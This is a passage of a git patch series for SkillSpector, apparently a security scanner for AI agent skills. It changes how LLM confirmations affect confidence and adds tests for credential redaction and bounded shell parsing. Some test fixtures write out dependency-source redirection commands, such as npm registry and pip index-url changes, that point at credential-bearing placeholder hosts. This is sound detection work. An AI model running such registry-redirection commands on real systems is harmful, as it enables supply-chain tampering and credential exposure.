confirmed_granular: dict[tuple[str, str, int, int | None], _enrichment] = {} # Fallback index keyed without end_line (see lookup below). Issue #67. confirmed_by_start: dict[tuple[str, str, int], _enrichment] = {} @@ -422,7 +422,7 @@ def apply_filter( explanation = (item.get("explanation") or "").strip() or get_explanation(pattern_id) remediation = (item.get("remediation") or "").strip() or get_remediation(pattern_id) file_path = item.get("_file", batch.file_path) - enrichment: _enrichment = (explanation, remediation, conf) + enrichment: _enrichment = (explanation, remediation) start_line = item.get("start_line") if start_line is not None: end_line = item.get("end_line") @@ -445,13 +445,13 @@ def apply_filter( coarse_key = (f.file, f.rule_id) start_key = (f.file, f.rule_id, f.start_line) if f.start_line is not None else None if exact_key in confirmed_granular: - expl, rem, conf = confirmed_granular[exact_key] + expl, rem = confirmed_granular[exact_key] elif start_only_key in confirmed_granular: - expl, rem, conf = confirmed_granular[start_only_key] + expl, rem = confirmed_granular[start_only_key] elif f.end_line is None and start_key is not None and start_key in confirmed_by_start: - expl, rem, conf = confirmed_by_start[start_key] + expl, rem = confirmed_by_start[start_key] elif coarse_key in confirmed_coarse: - expl, rem, conf = confirmed_coarse[coarse_key] + expl, rem = confirmed_coarse[coarse_key] else: unconfirmed_tags = list(f.tags) if "llm-unconfirmed" not in unconfirmed_tags: @@ -492,7 +492,7 @@ def apply_filter( message=expl, finding_id=f.finding_id, severity=f.severity, - confidence=max(f.confidence, conf), + confidence=f.confidence, file=f.file, start_line=f.start_line, end_line=f.end_line, diff --git a/src/skillspector/nodes/report.py b/src/skillspector/nodes/report.py index fd49c108..09b4cf33 100644 --- a/src/skillspector/nodes/report.py +++ b/src/skillspector/nodes/report.py @@ -1836,6 +1836,7 @@ def report(state: SkillspectorState) -> dict[str, object]: # Canonical internal findings and metadata have now driven suppression, # deduplication, scoring, and recommendation. Only field-wise copies cross # public formatter boundaries from this point onward. + public_findings = [_sanitize_finding(finding) for finding in selected_findings] reported_findings = [_sanitize_finding(finding) for finding in reported_findings] suppressed = _sanitize_suppressed_findings(suppressed) display_findings = _expand_occurrences(reported_findings) @@ -1929,6 +1930,7 @@ def report(state: SkillspectorState) -> dict[str, object]: len(suppressed), ) return { + "findings": public_findings, "sarif_report": sarif_report, "risk_score": risk_score, "risk_severity": risk_severity, diff --git a/tests/nodes/test_llm_analyzer_base.py b/tests/nodes/test_llm_analyzer_base.py index 0e1aca1c..c838a926 100644 --- a/tests/nodes/test_llm_analyzer_base.py +++ b/tests/nodes/test_llm_analyzer_base.py @@ -2114,6 +2114,7 @@ def _make_finding( @patch(MOCK_PATCH_TARGET, _mock_get_chat_model) def test_confirmed_finding_kept(self) -> None: + """Provider confirmation enriches presentation, not deterministic confidence.""" analyzer = LLMMetaAnalyzer(model=self.MODEL) findings = [self._make_finding("a.py", "E1")] batch = Batch(file_path="a.py", content="code", findings=findings) @@ -2130,7 +2131,8 @@ def test_confirmed_finding_kept(self) -> None: result = analyzer.apply_filter(findings, [(batch, llm_items)]) assert len(result) == 1 assert result[0].explanation == "Dangerous" - assert result[0].confidence == 0.9 + assert result[0].remediation == "Fix it" + assert result[0].confidence == findings[0].confidence @patch(MOCK_PATCH_TARGET, _mock_get_chat_model) def test_unconfirmed_finding_retained(self) -> None: @@ -2539,9 +2541,9 @@ def test_critical_confirmed_uses_llm_enrichment(self) -> None: """A CRITICAL finding confirmed by the LLM is still enriched as before. The floor does not interfere with the normal happy path: when the LLM - confirms a CRITICAL/HIGH finding, the enriched version (with LLM - explanation/remediation/confidence) is used and 'llm-unconfirmed' is - NOT added. + confirms a CRITICAL/HIGH finding, explanation and remediation are + enriched while deterministic confidence is preserved and + 'llm-unconfirmed' is NOT added. """ analyzer = LLMMetaAnalyzer(model=self.MODEL) finding = self._make_finding("CRIT-002", "CRITICAL", line=20) @@ -2564,7 +2566,8 @@ def test_critical_confirmed_uses_llm_enrichment(self) -> None: assert kept.severity == "CRITICAL" assert kept.rule_id == "CRIT-002" assert kept.explanation == "LLM-confirmed dangerous pattern" - assert kept.confidence == 0.95 + assert kept.remediation == "Remove immediately" + assert kept.confidence == finding.confidence assert "llm-unconfirmed" not in kept.tags @patch(MOCK_PATCH_TARGET, _mock_get_chat_model) diff --git a/tests/nodes/test_meta_analyzer.py b/tests/nodes/test_meta_analyzer.py index 7ca87d32..d2906c66 100644 --- a/tests/nodes/test_meta_analyzer.py +++ b/tests/nodes/test_meta_analyzer.py @@ -41,6 +41,7 @@ from skillspector.nodes.analyzers.static_runner import analyzer_finding_to_finding from skillspector.nodes.meta_analyzer import ( LLMMetaAnalyzer, + MetaAnalyzerResult, _meta_ledger_response, meta_analyzer, ) @@ -107,19 +108,33 @@ def _assert_preserved_ar2(result: dict[str, object], original: Finding) -> None: assert preserved.confidence >= original.confidence -def _authoritative_projection(finding: Finding, *, confidence_floor: float) -> dict[str, object]: - """Normalize only deterministic fields that a provider can never change.""" +def _authoritative_projection(finding: Finding) -> dict[str, object]: + """Normalize deterministic fields, excluding provider presentation annotations.""" return { "finding_id": finding.finding_id, "rule_id": finding.rule_id, "severity": finding.severity, - "confidence_floor_preserved": finding.confidence >= confidence_floor, + "confidence": finding.confidence, "category": finding.category, + "pattern": finding.pattern, + "finding": finding.finding, "file": finding.file, "start_line": finding.start_line, "end_line": finding.end_line, + "context": finding.context, + "code_snippet": finding.code_snippet, "matched_text": finding.matched_text, + "transitive_depth": finding.transitive_depth, + "source_url": finding.source_url, + "source_identity": finding.source_identity, + "source_digest": finding.source_digest, "evidence": finding.evidence, + "intent": finding.intent, + # `llm-unconfirmed` is provider presentation metadata. Every original + # deterministic tag remains part of the invariant projection. + "tags": [tag for tag in finding.tags if tag != "llm-unconfirmed"], + "match_fingerprint": finding.match_fingerprint, + "occurrences": finding.occurrences, } @@ -213,11 +228,45 @@ def test_authoritative_projection_is_invariant_across_every_provider_outcome() - start_line=3, end_line=3, category="supply_chain", + pattern="dependency-source", + finding="pip source replacement", + context="sanitized deterministic context", + code_snippet="sanitized deterministic snippet", matched_text="index-url = redacted destination", + transitive_depth=1, + source_url="https://packages.example.invalid/REDACTED_PATH", + source_identity="sha256:task9-source", + source_digest="sha256:task9-digest", evidence={"surface": "pip.conf", "operation": "replace", "scope": "global"}, + intent="negligent", + match_fingerprint="sha256:task9-match", + occurrences=[{"file": "pip.conf", "start_line": 3, "end_line": 3}], ) batch = Batch(file_path=original.file, content="safe provider copy", findings=[original]) - expected = _authoritative_projection(original, confidence_floor=original.confidence) + expected = { + "finding_id": "task7-authoritative-finding", + "rule_id": "SC10", + "severity": "HIGH", + "confidence": 0.91, + "category": "supply_chain", + "pattern": "dependency-source", + "finding": "pip source replacement", + "file": "pip.conf", + "start_line": 3, + "end_line": 3, + "context": "sanitized deterministic context", + "code_snippet": "sanitized deterministic snippet", + "matched_text": "index-url = redacted destination", + "transitive_depth": 1, + "source_url": "https://packages.example.invalid/REDACTED_PATH", + "source_identity": "sha256:task9-source", + "source_digest": "sha256:task9-digest", + "evidence": {"surface": "pip.conf", "operation": "replace", "scope": "global"}, + "intent": "negligent", + "tags": [], + "match_fingerprint": "sha256:task9-match", + "occurrences": [{"file": "pip.conf", "start_line": 3, "end_line": 3}], + } state: SkillspectorState = { "findings": [original], "use_llm": False, @@ -241,6 +290,16 @@ def test_authoritative_projection_is_invariant_across_every_provider_outcome() - failed_result = meta_analyzer(failed_state) [projected["failed"]] = failed_result["findings"] + with patch("skillspector.nodes.meta_analyzer.LLMMetaAnalyzer") as mock_cls: + mock_cls.return_value.get_batches.return_value = [batch] + mock_cls.return_value.arun_batches = AsyncMock( + side_effect=ValueError("malformed structured response") + ) + mock_cls.return_value.response_received = True + mock_cls.return_value.inference_usage = [] + malformed_result = meta_analyzer(failed_state) + [projected["malformed"]] = malformed_result["findings"] + provider_outcomes: dict[str, list[dict[str, object]]] = { "empty": [], "confirming": [ @@ -310,6 +369,7 @@ def test_authoritative_projection_is_invariant_across_every_provider_outcome() - assert set(projected) == { "disabled", "failed", + "malformed", "empty", "confirming", "downgrading", @@ -318,9 +378,73 @@ def test_authoritative_projection_is_invariant_across_every_provider_outcome() - "hostile", } for outcome, result in projected.items(): - assert ( - _authoritative_projection(result, confidence_floor=original.confidence) == expected - ), outcome + assert _authoritative_projection(result) == expected, outcome + + +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_final_meta_provider_request_redacts_every_unique_credential_carrier( + caplog: pytest.LogCaptureFixture, +) -> None: + sentinels = { + "https": "task9-provider-https-secret", + "ssh": "task9-provider-ssh-secret", + "scp": "task9-provider-scp-secret", + "query": "task9-provider-query-secret", + "fragment": "task9-provider-fragment-secret", + "assignment": "task9-provider-assignment-secret", + "heredoc": "task9-provider-heredoc-secret", + "generated_config": "task9-provider-generated-secret", + "finding": "task9-provider-finding-secret", + "provider_batch": "task9-provider-batch-secret", + } + finding_url = f"https://finding:{sentinels['finding']}@finding.example.invalid/private" + finding = Finding( + rule_id="SC10", + message=f"dependency source {finding_url}", + file="scripts/setup.sh", + start_line=1, + matched_text=f"registry={finding_url}", + context=f"generated registry {finding_url}", + ) + content = "\n".join( + ( + f"https://user:{sentinels['https']}@https.example.invalid/private", + f"ssh://git:{sentinels['ssh']}@ssh.example.invalid/org/repo.git", + f"{sentinels['scp']}@scp.example.invalid:org/repo.git", + f"https://query.example.invalid/private?token={sentinels['query']}", + f"https://fragment.example.invalid/private#{sentinels['fragment']}", + f"REGISTRY=https://user:{sentinels['assignment']}@assignment.example.invalid/private", + "cat <<'EOF'", + f"registry=https://user:{sentinels['heredoc']}@heredoc.example.invalid/private", + "EOF", + "cat >.npmrc <<'EOF'", + "registry=https://user:" + f"{sentinels['generated_config']}@generated.example.invalid/private", + "EOF", + f"provider=https://user:{sentinels['provider_batch']}@provider.example.invalid/private", + ) + ) + analyzer = LLMMetaAnalyzer(model="test/model") + batch = Batch(file_path="scripts/setup.sh", content=content, findings=[finding]) + submitted: list[str] = [] + + def capture(_llm: object, prompt: str, _collector: object) -> MetaAnalyzerResult: + submitted.append(prompt) + return MetaAnalyzerResult() + + with ( + caplog.at_level(logging.DEBUG, logger="skillspector"), + patch("skillspector.llm_analyzer_base._invoke_with_usage", side_effect=capture), + ): + outcome = analyzer.run_batches_detailed([batch], metadata_text="No metadata available") + + assert len(outcome.successful) == 1 + assert outcome.failures == [] + assert len(submitted) == 1 + serialized_request = submitted[0] + for carrier, sentinel in sentinels.items(): + assert sentinel not in serialized_request, carrier + assert sentinel not in caplog.text, carrier @patch(MOCK_PATCH_TARGET, _mock_get_chat_model) diff --git a/tests/nodes/test_report_sanitizer.py b/tests/nodes/test_report_sanitizer.py index 106875a9..670736c2 100644 --- a/tests/nodes/test_report_sanitizer.py +++ b/tests/nodes/test_report_sanitizer.py @@ -115,6 +115,65 @@ def _credential_bearing_finding(sentinel: str) -> Finding: ) +_TASK9_REPORT_SENTINELS = { + "https": "task9-report-https-secret", + "ssh": "task9-report-ssh-secret", + "scp": "task9-report-scp-secret", + "query": "task9-report-query-secret", + "fragment": "task9-report-fragment-secret", + "assignment": "task9-report-assignment-secret", + "heredoc": "task9-report-heredoc-secret", + "generated_config": "task9-report-generated-secret", + "finding": "task9-report-finding-secret", + "exception": "task9-report-exception-secret", + "provider_batch": "task9-report-provider-batch-secret", +} + + +def _task9_unique_credential_finding() -> Finding: + sentinels = _TASK9_REPORT_SENTINELS + return Finding( + rule_id="SC10", + message=( + "Dependency source points to https://user:" + f"{sentinels['https']}@https.example.invalid/private" + ), + severity="HIGH", + confidence=1.0, + file="scripts/setup.sh", + start_line=1, + category="supply-chain", + finding=(f"registry=ssh://git:{sentinels['ssh']}@ssh.example.invalid/org/repo.git"), + explanation=f"source {sentinels['scp']}@scp.example.invalid:org/repo.git", + remediation=(f"replace https://query.example.invalid/private?token={sentinels['query']}"), + context=(f"source https://fragment.example.invalid/private#{sentinels['fragment']}"), + matched_text=( + f"REGISTRY=https://user:{sentinels['assignment']}@assignment.example.invalid/private" + ), + source_url=(f"https://user:{sentinels['heredoc']}@heredoc.example.invalid/private"), + evidence={ + "destination": ( + f"https://user:{sentinels['generated_config']}@generated.example.invalid/private" + ), + "destination_status": "resolved", + "ecosystem": "npm", + "operation": "set", + "scope": "global", + "surface": "generated-config", + }, + occurrences=[ + { + "file": "scripts/setup.sh", + "start_line": 1, + "end_line": 1, + "source_url": ( + f"https://user:{sentinels['finding']}@finding.example.invalid/private" + ), + } + ], + ) + + @pytest.mark.parametrize("fmt", ["terminal", "json", "markdown", "sarif"]) def test_report_redacts_credentials_across_every_public_artifact(fmt: str) -> None: sentinel = "task7-public-output-secret" @@ -176,6 +235,85 @@ def test_report_redacts_credentials_across_every_public_artifact(fmt: str) -> No assert evidence == {} +@pytest.mark.parametrize("fmt", ["terminal", "json", "markdown", "sarif"]) +def test_unique_credential_carriers_never_cross_any_report_boundary( + fmt: str, + caplog: pytest.LogCaptureFixture, +) -> None: + sentinels = _TASK9_REPORT_SENTINELS + finding = _task9_unique_credential_finding() + exception_url = f"https://user:{sentinels['exception']}@exception.example.invalid/private" + provider_url = f"https://user:{sentinels['provider_batch']}@provider.example.invalid/private" + state: SkillspectorState = { + "findings": [finding], + "component_metadata": [], + "has_executable_scripts": True, + "manifest": {}, + "skill_path": None, + "output_format": fmt, + "use_llm": True, + "llm_call_log": [ + {"node": "meta_analyzer", "ok": False, "error": f"provider failed at {provider_url}"} + ], + "analysis_completeness": { + "is_complete": False, + "status": "partial", + "execution_successful": True, + "ledger_exceptions": [ + { + "path": "scripts/setup.sh", + "message": f"dependency source incomplete at {exception_url}", + "fatal": False, + } + ], + }, + } + + with caplog.at_level("DEBUG", logger="skillspector"): + result = report(state) + + public_artifacts = ( + result["report_body"], + json.dumps(result["sarif_report"], sort_keys=True), + str(result["findings"]), + str(result["filtered_findings"]), + caplog.text, + ) + for carrier, sentinel in sentinels.items(): + assert all(sentinel not in artifact for artifact in public_artifacts), carrier + + assert finding.message.endswith(f"{sentinels['https']}@https.example.invalid/private"), ( + "report sanitization must not mutate canonical findings" + ) + [public_finding] = result["findings"] + assert public_finding is not finding + assert ( + public_finding.finding_id, + public_finding.rule_id, + public_finding.severity, + public_finding.confidence, + public_finding.file, + public_finding.start_line, + public_finding.end_line, + ) == ( + finding.finding_id, + finding.rule_id, + finding.severity, + finding.confidence, + finding.file, + finding.start_line, + finding.end_line, + ) + if fmt == "json": + payload = json.loads(result["report_body"]) + assert payload["issues"][0]["evidence"]["destination"] == ( + "https://generated.example.invalid/REDACTED_PATH" + ) + if fmt == "sarif": + payload = json.loads(result["report_body"]) + validate_sarif_report(payload) + + def test_report_evidence_with_arbitrary_top_level_key_fails_closed() -> None: sentinel = "task7-arbitrary-evidence-secret" raw_url = f"https://user:{sentinel}@packages.example.invalid/private" diff --git a/tests/nodes/test_sc10_outputs.py b/tests/nodes/test_sc10_outputs.py index 18743a6d..98660bdb 100644 --- a/tests/nodes/test_sc10_outputs.py +++ b/tests/nodes/test_sc10_outputs.py @@ -6,11 +6,13 @@ from __future__ import annotations import json +import logging from pathlib import Path import pytest from skillspector.graph import graph +from skillspector.sarif_models import validate_sarif_report _SKILL = "---\nname: helper\ndescription: Formats ordinary text.\n---\n# Helper\nFormats text.\n" _SENTINELS = ("alice", "supersecret", "querysecret", "fragmentsecret") @@ -19,6 +21,18 @@ "?token=querysecret&channel=stable#fragmentsecret\n" ) _CANONICAL_NPMRC = "registry=https://registry.npmjs.org/\n" +_TASK9_GRAPH_SENTINELS = { + "https": "task9-graph-https-secret", + "ssh": "task9-graph-ssh-secret", + "scp": "task9-graph-scp-secret", + "query": "task9-graph-query-secret", + "fragment": "task9-graph-fragment-secret", + "assignment": "task9-graph-assignment-secret", + "heredoc": "task9-graph-heredoc-secret", + "generated_config": "task9-graph-generated-secret", + "miss": "task9-graph-miss-secret", + "partial": "task9-graph-partial-secret", +} _EXPECTED_SC10 = { "rule": "SC10", "severity": "HIGH", @@ -66,6 +80,54 @@ def _write_skill(root: Path, npmrc: str) -> Path: return root +def _write_task9_credential_skill(root: Path) -> Path: + sentinels = _TASK9_GRAPH_SENTINELS + (root / "SKILL.md").write_text(_SKILL, encoding="utf-8") + (root / ".npmrc").write_text( + "registry=https://user:" + f"{sentinels['https']}@https.example.invalid/private" + f"?token={sentinels['query']}#{sentinels['fragment']}\n", + encoding="utf-8", + ) + scripts = root / "scripts" + scripts.mkdir() + (scripts / "setup.sh").write_text( + "#!/bin/sh\n" + "REGISTRY=https://user:" + f"{sentinels['assignment']}@assignment.example.invalid/private\n" + 'npm config set registry "$REGISTRY"\n' + "npm config set registry ssh://git:" + f"{sentinels['ssh']}@ssh.example.invalid/org/repo.git\n" + f"npm config set registry {sentinels['scp']}@scp.example.invalid:org/repo.git\n" + "writer >pip.conf <<'EOF'\n" + "[global]\n" + "index-url=https://user:" + f"{sentinels['heredoc']}@heredoc.example.invalid/private\n" + "EOF\n" + "writer >.npmrc <<'EOF'\n" + "registry=https://user:" + f"{sentinels['generated_config']}@generated.example.invalid/private\n" + "EOF\n", + encoding="utf-8", + ) + (scripts / "partial.sh").write_text( + "#!/bin/sh\n" + "printf '%s\\n' 'config set registry https://user:" + f"{sentinels['partial']}@partial.example.invalid/private' | xargs npm\n", + encoding="utf-8", + ) + docs = root / "docs" + docs.mkdir() + (docs / "install.md").write_text( + "```bash\n" + "npm config set registry https://user:" + f"{sentinels['miss']}@miss.example.invalid/private\n" + "```\n", + encoding="utf-8", + ) + return root + + def _scan(root: Path, output_format: str) -> dict[str, object]: return graph.invoke({"skill_path": str(root), "output_format": output_format, "use_llm": False}) @@ -185,3 +247,52 @@ def test_canonical_npm_registry_is_safe_without_sc10(tmp_path: Path, npmrc: str) assert result["execution_successful"] is True assert completeness["is_complete"] is True assert completeness["status"] == "complete" + + +@pytest.mark.parametrize("output_format", ["terminal", "json", "markdown", "sarif"]) +def test_unique_credential_carriers_never_cross_real_graph_output_boundaries( + tmp_path: Path, + output_format: str, + caplog: pytest.LogCaptureFixture, +) -> None: + root = _write_task9_credential_skill(tmp_path) + + with caplog.at_level(logging.DEBUG, logger="skillspector"): + result = _scan(root, output_format) + + sc10_findings = [finding for finding in result["findings"] if finding.rule_id == "SC10"] + assert sc10_findings + public_finding_fields = [ + { + "message": finding.message, + "matched_text": finding.matched_text, + "evidence": finding.evidence, + } + for finding in sc10_findings + ] + public_artifacts = ( + str(result["findings"]), + str(result["filtered_findings"]), + str(result["analysis_completeness"]), + str(public_finding_fields), + result["report_body"], + json.dumps(result["sarif_report"], sort_keys=True), + caplog.text, + ) + for carrier, sentinel in _TASK9_GRAPH_SENTINELS.items(): + assert all(sentinel not in artifact for artifact in public_artifacts), carrier + + assert result["execution_successful"] is True + completeness = result["analysis_completeness"] + assert isinstance(completeness, dict) + assert completeness["status"] == "partial" + assert any( + exception["reason_code"] == "dependency_source_unsupported_semantics" + and exception["path"] == "scripts/partial.sh" + for exception in completeness["ledger_exceptions"] + ) + if output_format == "json": + payload = json.loads(result["report_body"]) + assert any(issue["id"] == "SC10" for issue in payload["issues"]) + if output_format == "sarif": + validate_sarif_report(json.loads(result["report_body"])) From bfbcd3205e96c939ba3367785486d6d75cec6317 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Wed, 26 Aug 2026 14:29:12 -0700 Subject: [PATCH 10/13] test(sc10): enforce bounded shell analysis Signed-off-by: Nir Paz --- src/skillspector/shell_frontend.py | 10 +-- tests/nodes/analyzers/test_sc10_gap_corpus.py | 1 + tests/unit/test_dependency_source_types.py | 18 ++++- tests/unit/test_shell_frontend.py | 34 +++++++- tests/unit/test_shell_frontend_dependency.py | 79 ++++++++++++++++++- 5 files changed, 127 insertions(+), 15 deletions(-) diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py index f7fed381..dfd0fc2f 100644 --- a/src/skillspector/shell_frontend.py +++ b/src/skillspector/shell_frontend.py @@ -2710,7 +2710,7 @@ def _native_expanding_body_argument( body.end_byte, ) - def _fallback_body_argument( + def _recover_cst_anchored_body_argument( self, start_byte: int, end_byte: int, @@ -2882,7 +2882,7 @@ def _native_heredoc_fact(self, node: Node) -> _RedirectFact | None: fallback_span=operator_span, ) if not quoted and operator == "<<" and body_node.start_byte == body_start - else self._fallback_body_argument( + else self._recover_cst_anchored_body_argument( body_start, end_line.start, strip_tabs=operator == "<<-", @@ -2935,7 +2935,7 @@ def _candidate_operator_nodes( stack.extend(reversed(children)) return nodes, candidates - def _fallback_heredoc_facts( + def _recover_cst_anchored_heredoc_facts( self, statement: Node, heredocs: tuple[Node, ...], @@ -3075,7 +3075,7 @@ def _fallback_heredoc_facts( return None if not self._recovery_step(max(0, body_end - body_start), operator_span): return None - argument = self._fallback_body_argument( + argument = self._recover_cst_anchored_body_argument( body_start, body_end, strip_tabs=strip_tabs, @@ -3267,7 +3267,7 @@ def _prepare_redirected_statement(self, node: Node, function_id: int | None) -> return if not heredocs and not has_here_string_shape: return - recovered = self._fallback_heredoc_facts(node, heredocs, function_id) + recovered = self._recover_cst_anchored_heredoc_facts(node, heredocs, function_id) if recovered is None: return facts, generated = recovered diff --git a/tests/nodes/analyzers/test_sc10_gap_corpus.py b/tests/nodes/analyzers/test_sc10_gap_corpus.py index f9e0a630..011f4085 100644 --- a/tests/nodes/analyzers/test_sc10_gap_corpus.py +++ b/tests/nodes/analyzers/test_sc10_gap_corpus.py @@ -183,6 +183,7 @@ def test_corpus_schema_and_self_checks() -> None: assert sum(row["lands_in"] == "PR-2" for row in FINDING_ROWS) == 66 assert sum(row["lands_in"] == "PR-1" for row in CONTROL_ROWS) == 28 assert sum(row["lands_in"] == "PR-2" for row in CONTROL_ROWS) == 137 + assert Counter(row["status"] for row in ALL_ROWS) == {"fixed": 250} imported_control_ids = [row["id"] for row in CONTROL_ROWS if row["lands_in"] == "PR-2"] assert imported_control_ids == sorted(imported_control_ids) assert all( diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index f35e00ee..feb71643 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -871,19 +871,29 @@ def test_resolved_destination_rejects_blank_or_control_bearing_values(destinatio ) -def test_resolved_destination_rejects_values_above_its_explicit_bound() -> None: +def test_resolved_destination_accepts_exact_bound_and_rejects_one_over() -> None: api = _api() - destination = "https://packages.example.invalid/" + ( - "a" * api.MAX_DEPENDENCY_DESTINATION_CHARACTERS + suffix = "://x.invalid/" + exact = "a" * (api.MAX_DEPENDENCY_DESTINATION_CHARACTERS - len(suffix)) + suffix + accepted = api.SourceChange( + ecosystem="npm", + surface="source", + operation="replace", + scope="global", + destination=exact, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), ) + assert accepted.destination == exact + with pytest.raises(ValueError): api.SourceChange( ecosystem="npm", surface="source", operation="replace", scope="global", - destination=destination, + destination=exact + "a", destination_status=api.DestinationStatus.RESOLVED, span=_span(api), ) diff --git a/tests/unit/test_shell_frontend.py b/tests/unit/test_shell_frontend.py index a329e4f2..a9eb3dee 100644 --- a/tests/unit/test_shell_frontend.py +++ b/tests/unit/test_shell_frontend.py @@ -452,8 +452,9 @@ def test_nul_form_feed_and_lone_cr_are_preserved_without_invented_line_boundarie assert result.issues == () -def test_shell_unit_limit_retains_exact_capacity_and_one_resource_issue() -> None: - raw = b"".join(b"```bash\nprintf ok\n```\n" for _ in range(257)) +@pytest.mark.timeout(10) +def test_thousands_of_shell_fences_retain_exact_capacity_and_one_resource_issue() -> None: + raw = b"".join(b"```bash\nprintf ok\n```\n" for _ in range(4_096)) budget = DependencyWorkBudget() result = _extract("docs/many.md", raw, budget=budget) @@ -468,6 +469,35 @@ def test_shell_unit_limit_retains_exact_capacity_and_one_resource_issue() -> Non ) +@pytest.mark.timeout(10) +def test_operator_dense_many_short_commands_stop_at_ir_limit_with_truthful_issue() -> None: + raw = b"a&&b||c|d;" * 15_000 + b"\n" + budget = DependencyWorkBudget() + + result, _, unit = _analyze(raw, path="scripts/operator-dense.sh", budget=budget) + + assert result.commands == () + assert 1 <= len(result.issues) <= 2 + expected_exhaustion = dependency_types.DependencyWorkExhaustion( + dependency_types.DependencyWorkResource.RETAINED_SHELL_IR, + dependency_types.MAX_DEPENDENCY_RETAINED_SHELL_IR + 1, + dependency_types.MAX_DEPENDENCY_RETAINED_SHELL_IR, + ) + assert {issue.reason for issue in result.issues} == { + dependency_types.ShellIssueReason.RESOURCE_LIMIT + } + assert {issue.exhaustion for issue in result.issues} == {expected_exhaustion} + assert ( + budget.for_file(unit.origin_span.path).used_for_unit( + unit, dependency_types.DependencyWorkResource.RETAINED_SHELL_IR + ) + == dependency_types.MAX_DEPENDENCY_RETAINED_SHELL_IR + ) + assert [item.outcome for item in result.work_items] == [ + dependency_types.ShellWorkOutcome.PARTIAL + ] + + def test_extraction_requires_normalized_paths_immutable_inventory_and_canonical_bytes() -> None: with pytest.raises(ValueError): _extract("./scripts/setup.sh", b"printf ok\n") diff --git a/tests/unit/test_shell_frontend_dependency.py b/tests/unit/test_shell_frontend_dependency.py index f9005217..958883e2 100644 --- a/tests/unit/test_shell_frontend_dependency.py +++ b/tests/unit/test_shell_frontend_dependency.py @@ -5,8 +5,10 @@ from __future__ import annotations +import ast import importlib import importlib.metadata +import inspect import os import subprocess import sys @@ -55,6 +57,70 @@ def test_installed_parser_distribution_versions_are_exact() -> None: assert importlib.metadata.version("tree-sitter-bash") == TREE_SITTER_BASH_VERSION +def test_sc10_shell_path_has_no_raw_fallback_parser_surface() -> None: + frontend = _frontend() + adapters = importlib.import_module("skillspector.dependency_command_adapters") + executable_sources = { + "shell_frontend": inspect.getsource(frontend), + "dependency_command_adapters": inspect.getsource(adapters), + } + + for module_name, source in executable_sources.items(): + tree = ast.parse(source) + imports = { + alias.name.partition(".")[0] + for node in ast.walk(tree) + if isinstance(node, ast.Import) + for alias in node.names + } + imports.update( + node.module.partition(".")[0] + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) and node.module is not None + ) + function_names = { + node.name + for node in ast.walk(tree) + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) + } + attribute_calls = { + node.func.attr + for node in ast.walk(tree) + if isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute) + } + + assert "shlex" not in imports, module_name + assert "re" not in imports, f"{module_name} must not create regex shell evidence" + assert "splitlines" not in attribute_calls, module_name + assert not any("tokenizer" in name or "lexer" in name for name in function_names) + assert not any( + "raw_command" in name or "fallback_command" in name for name in function_names + ) + + recovery_names = { + name + for name, _value in inspect.getmembers(frontend._ShellLowerer) + if "recover" in name or "recovery" in name or name.startswith("_fallback_") + } + assert recovery_names == { + "_recovery_step", + "_recover_cst_anchored_body_argument", + "_recover_cst_anchored_heredoc_facts", + } + + parse_tree = ast.parse(inspect.getsource(frontend.parse_bash_source)) + parser_calls = [ + node + for node in ast.walk(parse_tree) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and node.func.attr == "parse" + ] + assert len(parser_calls) == 1 + assert [getattr(argument, "id", None) for argument in parser_calls[0].args] == ["reader"] + assert parser_calls[0].keywords == [] + + def test_bash_language_versions_and_minimal_public_api_parse() -> None: language = _language() assert language.abi_version == BASH_ABI_VERSION @@ -171,13 +237,16 @@ def test_production_parse_uses_only_a_bounded_callable_reader( sentinel_tree = object() observed_chunks: list[bytes] = [] observed_deadlines: list[float | None] = [] + observed_parse_calls: list[tuple[tuple[object, ...], dict[str, object]]] = [] class RecordingParser: - def parse( - self, - reader: Callable[[int, tuple[int, int]], bytes], - ) -> object: + def parse(self, *args: object, **kwargs: object) -> object: + observed_parse_calls.append((args, kwargs)) + assert kwargs == {}, "production must not pass progress_callback" + assert len(args) == 1 + reader = args[0] assert callable(reader) + assert not isinstance(reader, bytes), "bytestring parser overload is prohibited" first = reader(0, (0, 0)) observed_chunks.append(first) assert reader(len(source), (1000, 0)) == b"" @@ -193,6 +262,7 @@ def create_parser(*, deadline_monotonic: float | None) -> RecordingParser: assert result is sentinel_tree assert observed_deadlines == [None] + assert len(observed_parse_calls) == 1 assert observed_chunks assert len(observed_chunks[0]) == frontend.MAX_TREE_SITTER_READ_BYTES assert observed_chunks[0] == source[: frontend.MAX_TREE_SITTER_READ_BYTES] @@ -270,6 +340,7 @@ def parse( assert caught.value.deadline_tripped is True +@pytest.mark.timeout(10) def test_public_shell_analysis_propagates_the_production_deadline() -> None: frontend = _frontend() contracts = importlib.import_module("skillspector.dependency_source_types") From e84a825c63ba21a9788110661dc631036846b09e Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Wed, 26 Aug 2026 14:48:21 -0700 Subject: [PATCH 11/13] docs(sc10): document structured executable coverage Signed-off-by: Nir Paz --- README.md | 2 +- docs/DEPENDENCY_SOURCE_REDIRECTION.md | 101 +++++++++++++++++++++----- 2 files changed, 83 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index c857eeb8..b0601780 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ SkillSpector is part of the [NVIDIA Verified Skills pipeline](https://docs.nvidi - **[Scan agent skills before installation](https://docs.nvidia.com/skills/scanning-agent-skills)** — Hosted guide: when to scan, how to read a report, and how to gate installs. - **[Development guide](docs/DEVELOPMENT.md)** — Architecture, package layout, and how to extend the analyzer pipeline. - **[Analysis resource bounds](docs/ANALYSIS_RESOURCE_BOUNDS.md)** — Fail-closed bundle, parser, nested-artifact, ledger, and finding ceilings. -- **[Dependency source redirection](docs/DEPENDENCY_SOURCE_REDIRECTION.md)** — SC10 direct-configuration coverage, evidence, and executable-surface limits. +- **[Dependency source redirection](docs/DEPENDENCY_SOURCE_REDIRECTION.md)** — SC10 direct-configuration and bounded executable-surface coverage, evidence, and limitations. - **[Pi 